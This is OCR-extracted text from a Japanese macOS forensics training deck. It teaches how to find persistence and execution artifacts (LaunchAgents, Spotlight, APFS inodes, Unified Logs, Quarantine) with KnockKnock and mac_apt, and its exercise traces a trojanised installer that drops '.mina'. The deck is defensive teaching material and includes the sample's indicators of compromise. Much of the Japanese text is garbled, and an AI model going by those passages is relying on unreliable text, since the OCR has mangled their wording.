"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process” : {"uid" : 501, "arguments" : ["sudo","./FileMonitor","-pretty"], "ppid" : 507, "ancestors"
[339,1], "rpid" : @, "architecture" : "Intel", "path" : "/usr/bin/sudo", "name" "sudo", "pid"
"timestamp" : "2021-08-11 06:05:25 +0000"
}

68



o MEMCFERTIZY-IL (6/6)

()

) o jgDEV (2)
« path(C[sudo |Z#EBI> N —%2T4IL5U> 0

% jq.'. | select(.process.path | contains("sudo"))'| procmon_simple.json

{
"event": "ES_EVENT_TYPE_NOTIFY_EXEC",

"process®; { [sudo 2S5 FR\WI>N-%T(IAIUY
"arguments": [
"sudo",

"./FileMonitor",
"-pretty"

'. | select(.process.path | contains("sudo") | not)'

1, .
"ppid: 507, PID=7350I> N—%J1)L5)>7)
ancestors": [
i39: '. | select(.process.pid == 735)"'
1,
"rpid": o,
"architecture": "Intel",
"path": "/usr/bin/sudo",
"name": "sudo",
"pid": 735
b
"timestamp": "2021-08-11 06:05:25 +0000"

}
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o /\—SRFTIADT7—T4T7Ih (1/4)

O oKnockKnockMDEITHEER
» mac_aptdDHZLDIN - AT AZFRMTTES
» AT ZATF ATUNEIMELRL)
= VirusTotal COMRKR R ZHEER TS D
»VirusTotal CARATSN TOVRULVRIRIZsubmit TE 3
- RITHROINT S LADBRAIREZITOICENTES
» BITHERZISONTA—NY RN TERFTEDIDTAIY
JNCALIBELAY T L)
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o /\—SRFTIADT7—T4T7Ih (2/4)

-y °Launch Daemon/Agents
* FFEDQIANANARFEINIEZTE I7 A ) (plist)[CAEDT. OSHCE)
BRCTOT3L0%FEITIS
- ILIITICEAENNS |
* FIRITCIOTRIFIDIAINAINERD
= Apple
» /System/Library/LaunchDaemons/
» /System/Library/LaunchAgents/
" H—R)N=F7«
> /Library/LaunchDaemons/
» /Library/LaunchAgents/
m l_ﬂ:‘_
» ~/Library/LaunchAgents/
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o N\—SRTVADT—T1T77h (3/4)

()

) o Microsoft AutoUpdateDz% E 5

= Microsoft Office’REDBE BN YT T — NfEHNS
Microsoft AutoUpdate

% plutil -p /Library/LaunchAgents/com.microsoft.update.agent.plist

{
"Disabled” => ©
"Label"™ => "com.microsoft.update.agent”
"MachServices" => {
"com.microsoft.update.xpc" => 1 B&EET9370735 40
}

"ProgramArguments" => [
@ => "/Library/Application Support/Microsoft/MAU2.0/Microsoft
AutoUpdate.app/Contents/MacOS/Microsoft Update Assistant.app/Contents/MacOS/Microsoft Update Assistant”
1 => "--launchByAgent"
]
"RunAtLoad" => 1
"StartInterval” => 7200

}
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o \—SRTIADT7—T4T7Ih (4/4)

()

) oLogin ltems
- 1-HYo0J(> I T0T 5 0%FETI S
- IITTICLLEDND
= macOS 10.12LAgi

» ~/Library/Preferences/com.apple.loginitems.plist

= macOS 10.13Ap&%

» ~/Library/Application
Support/com.apple.backgroundtaskmanagementage
nt/backgrounditems.btm
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I7AIKAIT=HADT —T4T7IK (1/4)

O e Spotlight
* macOSDIRZFES AT I

 BUFDESRBAIT 2R F IS
» SpotlightifEHTEITUITTUT —a A 1RZRUICEEE
» JPAIDMACBAALAA>T (TP AT LEFRIETR)
» PN BB (AERR UM LRG> T
» I )\ Z2EFRUCBS ORERE
» I DA > 0—RtURL
» I74I DI O— REITIEAA LRI T
» 1—H&EDSafari, Notes, Maps, MailREDT7 T —a>h
FDIBH
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o J7AILAIT=HADT—T14T7IhN (2/4)

()

) o Spotlight7—AR—=2X (1)

<=macOS 10.14 /.Spotlight-V100/Store-V2/*/store.db
/.Spotlight-V100/Store-V2/*/.store.db

>=macOS 10.15 /System/Volumes/Data/private/var/db/Spotlight-
V100/BootVolume/Store-V2/*/store.db

/System/Volumes/Data/private/var/db/Spotlight-
V100/BootVolume/Store-V2/*/.store.db

SATLEL-Y-FT-50D
mANEFENSD

macOS 10.150R)1— /A
DENEDI AT LR)1—
LA

/8



o J7AILAIT=ADT—T14T7IhL (3/4)

()

) o Spotlight7—AN—=2X (2)

>=macOS 10.13 /Users/*/Library/Metadata/CoreSpotlight/index.spotli
ghtV3/store.db

/Users/*/Library/Metadata/CoreSpotlight/index.spotli

ghtV3/.store.db

>=macOS 10.15 /System/Volumes/Data/.Spotlight-V100/Store-
V2/*/store.db

/System/Volumes/Data/.Spotlight-V100/Store-
V2/*/.store.db

1—-Y-\(CFAN3.
macOS 10.14LApFTHE
nns.

macOS 10.150RJ1— /A
DENEOT R 1— 1A
=2
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IJ7AWIIT=HDT —T41T7I N (4/4)

°Apple File System (APFS)
* macOS 10.13CEASNZERLVI7AILS AT L

£ DB Browser for SQLite - [Users/macforensics/Documents|GitHub/forked/mac_apt_out/sysjoker/APFS_Volumes_2BE22859-BFFD-4957-A660

A%< (0) : W F0¥c 2 &L (P) B 7O¥ s b EREN)

seiRE | saLEf

F—7: || Combined_inodes

root
private-dir

HFS+ Privata Directory Data
Trashe

tseventsd

Volumelcon

sw

home

Installer-compatibility
TempRecelpt.bom
SafarlLaunchAgent.

ifariNotificationagent. 8

128848022
12884802236 eAgent.8

12884902237 SafariCloudHistoryPushAgent. B

1569788609000000000

1571986594183672000
1219441716000000000
1213441713000000000
1219441719000000000
1219868207000000000
1566685244000000000
1569 9, 00000000
1571987323659111977
9640388000000000
000000000

000000000

1566685244000000000
1569639347000000000
1571987332904443741
9640388000000000
69640389000000000
96417 0000000
10000000000

000000000

162815236485¢

16281523650

09368436
157198659418367 2000
1219441716000000000
1219441719000000000

2 0
28152720972464058

579720
1571987333358383155
15719873335

1571987333505697

Flags
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()

o N—RAFUADRE

) o FHENTER
« KnockKnock®DE{THER
- mac_apt.db : AutoStartT—J)l
« N=2 T RT7AINDAIT—4
» BEIEITENZT 0T S LAGAEIR
»mac_apt.db : SpotlightDataView
» APFS_Volumes_xxxx.db : Combined_Inodes
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e KnockKnockDZEITHERDAE

& °KnockKnockM3EITHESR

= json/ kkReSL\{HS.tXt |
°jqCIJSONT —AZ 2L TR~

% jqg 't

./json/kkResults.txt

BEDULLIS N — %1839 3
- IEERIJOYSLAMMEESNLI M-
»signatureStatus = 0
»VT detection = 0
> FEEDIREETROVBONFENDULWVI> MN—(CRD

o jqlIEFELWZEIEjg 1L ZIRET T B
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mac_apt.db : AutoStart -

> DB Browser for SQLiteTmac_apt.dbZ fa<

o F—HEE (Browse Data)¥J CAutoStartT—J
I 7ZI1EIR TS
HERRABEOESELT, - —1ERT/IN—2 X
T/Zb\ Eéﬂtb\égtﬁlumﬁ5
- EIREIEPR CELE RIREREHEFRABTRNZRNTES
o DIV A
= User = maCfOrenSiCS

o KnockKnock&FEERNEIUICRINMEER IS
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IN=2RT I ZT7PAINDIIT—HDRE (1/2) -

o N=I AT ATFAIINEIBTESNTZTOT 5 L7714 IV OVERR B
IFziEad D
= IV RN FEEUEBFOGEUVWEHEBRITES
° JPA IV AT —IMRTFENBDBET—T)L

" mac_apt.db
» SpotlightDataView-1-store
» SpotlightDataView-1-.store-DIFF
® SpotlightDataView-1-storeEDZEFDHHELERSN TS
o SABOREmA DT I N 2RI 2ENHD
= APFS _Volumes_xxxx.db
» Combined_Inodes
> APFSDAA LRF>T
® J/MEAIOUTCTE#RSNS (1970F1H181FD)
® ZHAZJUT N : scripts/nsec_conv.py
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SRR AT NAST SO (12 (endron ]

) o IV At
* mac_apt.db : SpotlightDataView
»FullPath = N\=3 X572 AT71 IV E RSB 8IEITENST0
9351
» kMDItemCreationDate : J71 JLYERk B B
= APFS Volumes xxxx.db : Combined _Inodes
»Name =/N\—=3 2T 2T7()\ FlzZBEETIN3T0Y
wJA)
» Created : J71 L ERL B B

()
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Solutions to
Exercise




® KnockKnockMEITHERDAE (1/3)

O oKnockKnock®DFEITHER
= Json/kkResults.txt

o ENUWLI N —

% jq '.' ./json/kkResults.txt | less
(snip)
{
"name": ".mina",
"path": "/Users/macforensics/Library/.mina",
"plist": "/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist",
"hashes": {

"md5": "FO5437D510287448325BAC98A1378DE1",
"shal": "FA3DEB6OB8A2EAA29A7DCCF14BEE6ADAE81F442F"
75

"signature(s)": {

signatureStatusf'0TRLEDZ

"signatureStatus": -67062 1) [/Qlj\/qa_équlu
¥
"VT detection": "37/75"
} % jq '."Launch Items"[] | select(."signature(s)".signatureStatus != 0)' json/kkResults.txt

(snip)




® KnockKnockMEITHERDAE (2/3)

()

) o ZENUWLIY M —D451E
= signatureStatusH 0 TIERL)
« VT detectionE0TIL/RL)

CFENDULVI> M) -7z 35 ZAJUTh

= scripts/kkfilter.sh

#!1/bin/zsh
s1="."
s2="[1"

while read line; do
echo "---------- $line ---------- "
s0=$s1$1linegs2
jq "$s0 | select((.¥"signature(s)¥".signatureStatus != @) or ¥
(.¥"VT detection¥" | startswith(¥"e/¥") | not))" $1
done < <(jq '. | keys[]' $1)




® KnockKnock®MEITHERDHAER (3/3)

Q o 7\’7')7 NEITHESR

% zsh scrlpts/kkfllter sh json/kkResults.tx
"Authorization Plugins" ----------
"Browser Extensions" ----------
"Cron Jobs" ----------

"Dir. Services Plugins" ----------
"Event Rules" ----------

—————————— "Extensions and Widgets" ----------

"Vannal Catancdnnc!

FEDULVI> N —(F1DDH

—————————— "Launch Items" ----------
"name": ".mina",
"path": "/Users/macforensics/Library/.mina",
"plist": "/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist",
"hashes": {
"md5": "F@5437D510287448325BAC98A1378DE1",
"shal": "FA3DEB6OB8A2EAA29A7DCCF14BEE6ADAE81F442F"
s
"signature(s)": {
"signatureStatus": -67062
s
"VT detection": "37/75"

—————————— Liprary Lnserts ----------
—————————— "Library Proxies" ----------
"Login Items" ----------
"Login/Logout Hooks" ----------
—————————— "Periodic Scripts" ----------
—————————— "Quicklook Plugins" ----------
—————————— "Spotlight Importers" ----------
"Startup Scripts"
"System Extensions" ----------




FEDUWI> N -0

5IEITAI
= /Users/macforensics/Library/LaunchAgents/co
m.aex-loop.agent.plist

- JOUSLINR
= /Users/macforensics/Library/.mina

o 1-H=S1T3)IANAHFBE T ORLI7AIL
MEESNTLDDE. FEFCZEDLLY

N



e mac_apt.db : AutoStartT—J)ILOAE

()

) o I A
« KnockKnockDRENFERZE(C TV
* Type = Agents
- User = macforensics

Table: || AutoStart

StartupType Disabled AppPath

macforensics a Filter Fllter

agent mactforensics Run at Login JUsers/mactorensics/Librany.mina JUsers/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist
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LaunchAgent plistO:A&E (1/4)

b emac_apt.db : SpotlightDataView

= com.aex-loop.agent.plistDVERL B b
»2021-11-25 04:41:45.406457 (UTC)

Table: || SpotlightDataView-1-.store-DIFF 8 = & =

mnment _kMDItemContentChangeDate MDltemCreationDate kMDItamContentCreationDate kMDItemContentModlficationDate
Fllter Fllter It Fllter

20271-11-25 04:47:45_ 406531 2021-11-25 04:41:45.40645 2021-11-25 04:41:45.406457 2021-11-25 04:41:45.400531

93



LaunchAgent plistO:AE (2/4)

O omac_apt.db : SpotlightDataView

« . minaDERL B B
» TN —=HFELRL)

Table: ¥ SpotlightDataView-1-.store-DIFF

Date_Updated FullPath kMDitemContant TypeTras




LaunchAgent plistD:A&E (3/4)

O > APFS_Volumes_xxxx.db :

Combined Inodes
« A4 ©WAH> TFEERZEN TLVRL

| Combined_lInodes 8 =

Table:

[lln] XD CHNID Parent_CHNID Extent_CHNID Mamea Modifled

Fllter Fllter Fllter Fllter Fllter .mina Filte Iter

71186 BO17  1ZBE5154804 128B4D229035 1ZBE5154804 .mina 1637815305360051337

1637815305360713093

Changed

Fllter

1637815305363402760

Fllter

1637815305405571360
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e LaunchAgent plistOEE (4/4)

O o APFSHALRT Y TR IUT ~

#!/usr/bin/env python3
import sys
import datetime

if len(sys.argv) != 2:
sys.exit('need argument')

timestamp = int(sys.argv[1])
dt = datetime.datetime(1970, 1, 1) + datetime.timedelta(microseconds=timestamp/1000)
print(dt.strftime('%Y-%m-%d %H:%M:%S.%f"))

. mina®D{ERk H B

% python3 scripts/nsec_conv.py 1637815305360051337
2021-11-25 04:41:45.360051

96



2021-11-25 04:41:45.360051

2021-11-25 04:41:45.406457

® CZEFCOIMLIA>

/User/macforensics/Library/.mina YER%

/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist £EBk
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Exercise 2;
IN=> 27> AVERL BT D
774 ET 4 DERAT
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C

o N—RFIAERRIERDT7IT1ETREOEK

) o com.aex-loop.agent.plist¥>.minaD{ERk
FFORIR(ICFREEUL T IT1ET 1D B E]
B3 R3TN0I S LEZMHERTD
o PIT1ETA D

- JOUSLFET

= RUI—LNDI>

- J7AVA9>0-R

m
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@ 777 07-F4T751
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C

Recent Items (1/6)

) 2 Windows®DRecentDocsD&IC 7T AL
[EO74)VIRENEEERSNITLD
= OS X 10.10LA &l

» ~/Library/Preferences/com.apple.recentitems.plist

= OS X 10.11LP%

» ~/Library/Application \
Support/com.apple.sharedfilelist/LA T D .sflx& U .sfl27
71

»*sfl : OS X 10.11LAP%
»*sfl2 : macOS 10.13LAf%
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()

Recent Items (2/6)

L o 7Y XZ1 -0l &b fEozIEE |

= Recent Applications

» com.apple.LSSharedFileList.RecentApplications(.sfl|.sfl2)
= Recent Documents

» com.apple.LSSharedFileList.RecentDocuments(.sfl|.sfl2)

>c7m.apple.LSSharedFiIeList.AppIicationRecentDocument

S
o COTALINIDT(CT TV —23> B 0sfl/sf2T7 I N'$S

= Recent Servers (U—/\&ZTHRF)

» com.apple.LSSharedFileList.RecentServers(.sfl|.sfl2)

= Recent Hosts  (IP7 RLATHRTF)
» com.apple.LSSharedFileList.RecentHosts(.sfl|.sfl2)
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Recent Items (3/6)

@ Finder 77l @WE HBR BE DI1YKY ALY

ZDMaclc2WT

VAT LBERE...
App Store...

A RE >

HERT ..

4 DB Browser for SQLite
& Finder
AY=F & Firefox
BiEs... ® GitHub Desktop
VAT LHET ... 0 Logi Bolt
o' Safari

SilentKnight

X Visual Studio Code
Y VMware Fusion
8 JRT7LABENE

EfmzEOY Y
ERCSI Mac Forensics& 0777 k...

O3testself

T] apps_scripts
complex_modifications

1 JSAC2022 Victim

ma2tl
mac_apt
macos_malware_analysis
macosac.ini
scan.py
sleuthkit

[2) BlackBag

B minoru

) OSXFUSE Volume 0 (xmount)
) OSXFUSE Volume 0 (xmount)
[2) OSXFUSE Volume 0 (xmount)
B share

AZa—EHE
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Recent Items (4/6)

o cFinder®Y4 RN\ —(CFRxeN 318

= Finder Tag
» com.apple.LSSharedFileList.Projectsltems(.sfl|.sfl2)
= Favorite Items
» com.apple.LSSharedFileList.Favoriteltems(.sfl|.sfl2)
= Favorite Volumes
» com.apple.LSSharedFileList.FavoriteVolumes(.sfl|.sfl2)

o [H—) Nz I D] LLAESY -/

= Favorite Servers
» com.apple.LSSharedFileList.FavoriteServers (.sfl|.sfl2)
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Recent Items

AirDrop

IRE

™ iCloud Drive

TimeMachi...
Data
Fw kT—2

H—) i
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Recent Items (6/6)

o 4704 TEafE

AU IANS

= ~/Library/Preferences/.GlobalPreferences.plist
= defaults read -g NSNavRecentPlaces

o FinderlC kB 7)) ADfERE

= ~/Library/Preferences/com.apple.finder.plist

» FXDesktopVolumePositions
o TR MICRRENZRI1—LADT7 A1 DS

» FXRecentFolders

o EI10EDRY1-ABZELIAINI AN EFTREND

» FXConnectTolLastURL

o BENXZ1—-DY — )Nz
» GoToField / GoToFieldHistory
o BENZ1—-DITANAINEENDFERE
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O

IJ7AINDTIT1ET4

o fseventsd

= Mac OS X 10.5LAp%

= HFS+, APFSIE(C{SEFAR]EE

= NTFSD$Usn)rnl:$JELTZBERN EEERS N D

= I VI TLO— RO EEERSNBIcs, J7 1 IAERCZEE. Hl
BRIREEZIDANR MM DICLO—RICEEFREND

= 4 ©hNAAT(FEEERSNBVESD. 7—T4I7I N I74 IV OEFH
B2 BB LTDIA LA TELTIND

= BN\=71232D)— (LI NIETODI fseventsd 1 TAILH LU
FCECERSND
> fseventsdT (L7 NJE FICno_log WLV T7A I ZEDE. DR 1— A
C(FECERSNIATRD
= SNBBAT 1 P ICEAEREND
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O

J0YJ 3 LhETRERE

° Spotlight Shortcuts
" ZRYRSA MSEITURTTVT —Sa> hseixens
* Spotlight@7 77 —23>%%#5c I 2D T. [ fire |II3 Tl Firefox |%
ﬁ?@“é:&b\f%o CDimA. firekFirefox DL I MHECERS
= OS X 10.924H]
» ~/Library/Preferences/com.apple.spotlight.plist
= OS X 10.10LA Pz
» ~/Library/Application Support/com.apple.spotlight.Shortcuts
" macOS 10.15

» ~/Library/Application Support/com.apple.spotlight/com.apple.spotlight.Sho
rtcuts

" macOS 11LLPF

> ~/Libra£y/AppIication Support/com.apple.spotlight/com.apple.spotlight.Sho
rtcuts.v
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VINIITA>AN=)VIElRE

O elInstallHistory

« /Library/Receipts/InstallHistory.plist

- OSVYIRIT7 DA > A M= VERENGEEREND
- )\wo—>% =232 12XV HE
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Quarantine Events

° WebJ5UHETI7M1ILDAI>0— R Tcom.apple.quarantinedli
sREIEMI S SN TP IIVDT —HR—R
" LR L (ERNCEEEREN DT Ty I DILREENHIBREN THH%SD
°Mac OS X 10.6LLF
® ~/Library/Preferences/com.apple.LaunchServices.QuarantineEvents
°© Mac OS X 10.7A[%
" ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2
© JpANVEGIYO= RUET T —3av &, 94 LRF> T, 9> 0-
RITTURLZFN EEERSND
2 curlj‘fwget@c‘f"@@"?)l]— RUIZ D74 VTS, SR D e ESN
9. THIR-R(TBEERENRL
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Unified Logs (1/3)

© macOS 10.12TE A
° J0J3LFETPN1-LNTY MNEODT %D
°RiFTLIN

® /private/var/db/uuidtext

® /private/var/db/diagnostics
© SATSRATLNBOTZ2IIAR—K

® sudo log collect

» system_logs.logarchive HMERSNS

O FTARIAR=IHSFEITOY ZIIAR—b
1. /private/var/db/diagnostics & /private/var/db/uuidtext IAIARDT7AILZ1DDTAI
AICIE—93 (uuidtext & diagnostics DEFRITAINA (TS HRY)
2. JE=5EmTAIAIC "logarchive" LR FZ{INNTS
" macOSON—Z 3> Py IO TETEMOFIEN B EICRoT
¥ Catalina L TR2U TEeUnifiedLog& 9%
> https://padawan-4n6.hatenablog.com/entry/2020/03/15/052607

111


https://padawan-4n6.hatenablog.com/entry/2020/03/15/052607

e Unified Logs (2/3)

logd¥ >R

--end 'YYYY-MM-DD hh:mm:ss'

‘ % log show --debug --info --predicate 'FILTERING CONDITION' --start 'YYYY-MM-DD hh:mm:ss'

o LIV A

eventType The type of event: activityCreateEvent, activityTransitionEvent, logEvent, signpostEvent, stateEvent,
timesyncEvent, traceEvent and userActionEvent.

eventMessage The
messageType For
process The
processImagePath  The
sender The
senderImagePath The
subsystem The
category The

pattern within the message text, or activity name of a log/trace entry.

logEvent and traceEvent, the type of the message itself: default, info, debug, error or fault.
name of the process the originated the event.

full path of the process that originated the event.

name of the library, framework, kernel extension, or mach-o image, that originated the event.

full path of the library, framework, kernel extension, or mach-o image, that originated the event.

subsystem used to log an event. Only works with log messages generated with os_log(3) APIs.
category used to log an event. Only works with log messages generated with os_log(3) APIs. When

category is used, the subsystem filter should also be provided.

12



Unified Logs (3/3)

()

) o Unified LogsJA—~Y K

Activity ID

. . : Process |D Process Name
ow --info --debug --predys
g the log data using "

imeMachine"

3 f Type Activity
2021-11-09 18:41:17.571449+0900 0x23fb85 | Info ox0 259 0

[com.apple.TimeMachine:General | Mountpoint '/Volumes/TimeMachine' is still valic

Sender (Library)

backupd:  (TimeMachine)

Category

Event Message

- RER(E11T

13




Hands-on:
IN=> AT AVERLRITZD
774 ET 4 DERAT

e



IN=2RF7 > ZVERRBIE DT I7 1 ET 1 DEEAT

PO

= mac_apt.db
Recentltems | 51 125> 7T
» FsEvents
» SpotlightShortcuts
> IntallHistory
» SpotlightDataView-1-store
» SpotlightDataView-1-.store-DIFF

» Quarantine | - R
= UnifiedLogs.db SRR THER S D
» J0J S LETRERE

»IKNJ1—ANTI> b |

15



UnifiedLogs.db JOJ 3 AEITRERE (1/2) -

0 f_ppﬂ?ﬁ?jUﬁ— 23> (Application bundle) DE4T
IR
o IV FAF
" Message = LAUNCHING:0
= TimeUtc =/\—> 27 > A{ER BT
> TimeUtcDNS L%Z2IUwIddEANIE (FTEMFIE) TY-RTES
° ProcessNamef15 Ly, ProcessimagePath15 /s
= JOUSLADEENTT
» Dock, Finder, Spotlight, loginwindow, open/}&
* LT OEEOTOCARDOTEMRATES

> activateSettings
» System Preferences

16



e UnifiedLogs.db JOJSAFEITERE (2/2) -

© GatekeeperlCEITFFRISNIERERTO
731
- Mach-O/\{1 FUNEEERENS
= dmglc DWW THEEERSND
AN R
= Category = gk
= Message = temporarySigning
» TimeUtc = \—=2 X7 2 AERK B R

17



e UnifiedLogs.db KU1—ANXI> b -

O o NIIN/TIRID RSN 1— A

« SRERSNBAD(EM)1—LAZTHN. DMGEHEDI7A
VBTN

- X NURERYL— LD TP S AT LESD DD
chJ1— AN M IEZR T BASQLITY

SELECT TimeUtc, Message FROM UnifiedlLogs WHERE TimeUtc LIKE "2021-11-25 04:%" AND (ProcessName = "kernel" AND
(Message LIKE "%mounted%" OR Message LIKE "%unmount%")) ORDER BY TimeUtc;

* Preboot/NJ1—AFS AT MEETEFEIE I DD THE
HTED
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mac_apt.db : SpotlightDataView -

o CCEX Tl IrA )I/%’(‘D/‘I"\‘U:L—A%
CTSpotlightDataViewr—J)LZJ4)L 5>
1953
o T4 A
= FullPath = J7A/)l&&oR1— A%

- N LDEIKR
- _kMDItemCreationDate : J71)L/ER B
- kMDItemWhereFroms : 4> 0— R7tURL

19



mac_apt.db : Quarantine -

=JLur==—

- com.apple.quarantine¥iaRE N TE SN
1074 )\ & 588K 9 2T —HAR—R
* macOStF1UT1IL—AT—JEUTERINTUS
o 74 )lx’i’@'?)\[l— RUIEZIVT—23>%. 5
A LAA>T . H9>0—-RTURLHEEEREN D
o 1AV EAF
= DataUrl = SpotlightDataView C§5N 40> 0— R
STURL
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e mac_apt.db : Recentltems JOY 3 AEITERE -

O o REBILIE T TUT—232%EEDTTAIVINR

o T4 EAF
- Type = APPLICATION
« Name = 7V —33>%
« URL = 7JU5—23>)(R
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e mac_apt.db : Recentltems KJ1—AYD> b -

O NI NUIENIL—LEZDTAIA A

o 1A EA4%
- Type = VOLUME
* Name = NJ1—-L%
= URL = KkJ1—AJCR (Volumes/TiaEx 3/ R)

122



e mac_apt.db : Recentltems Finder7JtXJ#)l45 -

O oFinderCrPOTCAUIANAGEZDTAINS
JVA
o D4V 15
= Type = PLACE
« Name = JA)AE PR 1— L%
- URL = TA)LAI(X
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mac_apt.db : FsEvents -

© JPAIWSD AT LATFREUANRY MHIECERSD
= JPAIATANAS DVERL. HIBR, =22 a>ZEERE
= SR 1-ANTONOWTRAEI DT, VolumesATFD
IANWIERRI> N —%ZJ1V)>) 9D
o T4IWAUY) EAF
= SourceModDate = /\—> X7 > AVERL H T
= EventFlags = FolderCreated
* Filepath = Volumes/

> SourceModDate15/A
= V=747 NI IVOIEIE HEF

* COERBFFTICHATDAINS MIFREUZLEDNDN, IEHER
HEFEONSTR0)
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()

® mac_apt.db : SpotlightShortcuts -

) o SpotlighthS#egiUiz 7 )T —23>hiEe
FRSA1D
- 1-Y N ABDUXFHEEFREND
o T4V S
= DisplayName or URL = 7JUs—33>%4
- LastUsed = \—> X7 > AVERAH BT
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® mac_apt.db : InstallHistory -

O oAV AN=ILENTEI\WT—IhEdEREN B
o T4
« Date =/\—=> 7> A{ERLBH BT
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Solutions to
Exercise 2




Unified LogssAERER (1)

o P INT =23 DOEITIERR

SELECT TimeUtc, ProcessName, Message FROM UnifiedLogs WHERE (TimeUtc LIKE "2021-11-25 04:4%" AND Message LIKE
"LAUNCHING:0%" AND Message NOT LIKE "%activateSettings%" AND Message NOT LIKE "%System Preferences%") ORDER BY
TimeUtc;

Timelic ProcessMName Message
1 20271-11-25 04:471:27.4 2285¢ JOCK LAUNCHING:Ox0-0x4c04c DiskimagahMounter foreground=0 E-F|FIQFEIF|'~'EI rd=0 sead=125 IJSBFAI'L‘-ﬂ'n.fh}"|:I3-IJI'IT:|:J

2 Z20271-11-25 04:41:37.924145 LAUNCHING:0w0-0xaf044 TinkaO TP Installer foreground=1 bringForward=1 seed=126 userActivity Count=0

3 Z0271-1-25 04:471:44.446230 | open LAUMNCHING:Ox0=-0x50050 TinkaOTFjforeground=0 bringForward=0 sead=130 userActivity Count=0
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Unified LogssAERER (2)

- Gatekeeper(C&DIY > REITIEHN

SELECT TimeUtc, Message FROM UnifiedlLogs WHERE (TimeUtc LIKE "2021-11-25 04:4%" AND Message LIKE

"temporarySigning%" AND Message NOT LIKE "%activateSettings%" AND Message NOT LIKE "%System Preferences%")
ORDER BY TimeUtc;

TimelUtc Message

temporary Signing type=3 matchFlags=0x( path=/Users/mactforensics/Downloadsfinstaller.dmg
1-11-25 04:41.38.114360  temporarySigning type=1 matchFlags=0x0jpath=/Volumes/installer/ TInkaOTP Installer app/Contents/MacOS/ TinkaOTP Installer

1-11-25 04:41:40. 842618  temporary Signing type=1 matchFlags=0x0fpath=/varffolders/ybfqc2 2itgs12220 3p|g5 2ra0m40000gn) Tinstaller.Jv3viUms

21-11-25 04:41:45.398062 temporarySlgning type=1 matchFlags=0x0fpath=fUsers/macforensics/Library.mina
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()

Unified LogsiAE#EER (3)

) oJaI—ANTI b

TimeauUtc Messy

2021-11-25 04:41:34.416693  apfs_visop_mount: 1489 mounted volume: Installer).

2021-11-25 04:41:44.076904  hfsfmounted TinkaOTRjon device disk4s]...

2021-11-25 04:41:44. 355439  hfsjunmount Initlated on TinkaOTFR pn device disk4s...
2021-11-25 D4:41:59.291558  apfs_vfsop_unmount:1681: /dev/disk3funmounting volume ‘Instalier” §.

2021-11-25 04:41:59.291878  apts_vfsop_unmount:1929: all done. going home. (numMountedAPFSVolumes ..

InstalleriRl)1—AETinkaOTPARU2— AN
N> NN EEN 9%

2021-11-25 04:49:52.09 apts_vfsop_mount:1489: mounted volume: Preboot..

2021-11-25 04:49:52,. 362797  apfs_stop_bg_work:a876: Volume Preboot |5 unmounting, stop any bg work...

2021-11-25 04:49:52. 365180 apfs_visop_unmount:1681: /dey/disk1: unmounting volume 'Preboot’ ..

2021-11-25 04:49:52. 365185 apfs_vfsop_unmount:1712: walting for cleanars to finlsh: purgatory ...

2021-11-26 04:49:52 367094  apts_vfsop_unmount:1929: all done. going home. (numMountedAPFSVolumes ..
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e mac_apt.db : SpotlightDataView

0 oSpotlightDataView-1-.store-DIFF(CEC
RS TS

SELECT FullPath, _kMDItemCreationDate, kMDItemWhereFroms, kMDItemDownloadedDate FROM "SpotlightDataView-1-
.store-DIFF" WHERE (FullPath LIKE "%Installer%" OR FullPath LIKE "%TinkaOTP%");

EiDItemCreationData

[Users/macforensics/Downloads)installer. dmg 2021-11-25 04:41:22.660911 hitp:ffwww. 21a testjdownload/installer.dmg 2021-11-25 04:41.22.675553

Jusers/macforensics/Downloads| TinkaOTP.dmg 2021-11-25 04:41:40. 892716
/applications/ TinkaOTP.app 2021-11-25 04:41:44.097888
Jusrflocal/Homebrew/ Library Homebrew/ vendor/portable-ruby2.6. 8/libjruby 2.6.0/oundlerfInstaller 2021-07-07 10:39:00
Jusrflocal/Homebrew/ Library Homebrew/ vendor/portable-ruby2.6. 8/libjruby 2.6.0/oundler/plugin/ Installer  2021-07-07 10:32:00
Jusrflocal/lib/python3 9/ -k 2021-11-25 04:15:37.385198
es/setuptocls/installer. py 021-11-25 D4:15:37.416519
es/setuptools/__pycache__/Installer.cpython-39.pye 2021-11-25 D4:15:37.764 209
2021-11-25 DA:15:37. 787486
2021-11-25 04:15:38. 839209

JUszers/mactorensics/Downloads)/installer.dmg




® mac_apt.db : Quarantine

 I7AIADO—-RURTZTUT—23>%

EventiD Timastamp AgentBundlelD | AgentMame DataUrl
2021-11-25 03:56:20.236561 comapple.safarl Safarl blob:https:)/visualstudio.microsoft.com/ ...
Safarl htt z764 235 vo.msecnd. net/stable) ...

A4 3AFFE1A-A7BE-4F70-ASES-494BBAF4CAFD
a9C395

1
2021-11-25 04:10:12.706447  com.apple.Safarl
testjdownloadfIinstaller.dmg

™
L

234EF4BG6-F52E-4CEBG-3CAD-BE9BCDC
1-11-25 04:41:22.690228 comappleSafarl  Safarl

202

ZEANAZIF-155F-4DCE-BE62-DDTFEBEEGODA

- Safariz{E> Clnstaller.dmgz47>0—RUIE
- 1-H-HFHTHIU>0- RUEEEEEN L

3
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LogID

Filter
000000D0005BBE36
D00000D000SECIAS
000000D0005BB5BE

00000000005BC3AE

EventFlagsH EventType

Filter
01000182
01000082
01000182

01000080

mac_apt.db : FsEvents

cSENDULWVR)1—-LZNT > NUITAILS

EventFlags
2 FolderCreated
Remaved|Folder Created|ParmissionChange

Removed|Folder Created

Remaoved|Folder Created|ParmissionChange

FolderCreated

Fllepath Flle_ID SourceModDate Source **
Volumesf 20271-11-25 D4:4 0 Fllter

Vaolumesfinstaller 12885154723 2021-11-25 04:49:53. [.fseventsd/000000000058C460
VolumesfPreboot 12B85154¢ 2021-11-25 04:49:53. [.fseventsd/000000000058C460
Volumes TinkaOTP 12B85154755 21-11-25 04:49:53_ [.fseventsd/000000000058C460
Volumes/vViMware Shared Folders 2021-11-25 04:49:53. [.fseventsd/000000000058C460

>VolumesLA F DFolderCreated(di\J1—
AN >~ Removed(dh)1—ALF7> N>

M RIRT D
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Type
LicaTion €
APPLICATIO
APPLICATION
APPLICATION
APPLICATION
APPLICATION
APPLICATION
APPLICATION

APPLICATION

visual Studlo ©
Terminal

Safarl

System P references
Installer

Disk Uil

mac_apt.db : Recentltems - APPLICATION

O oY Nufzinstallersh)1—AIC#HD

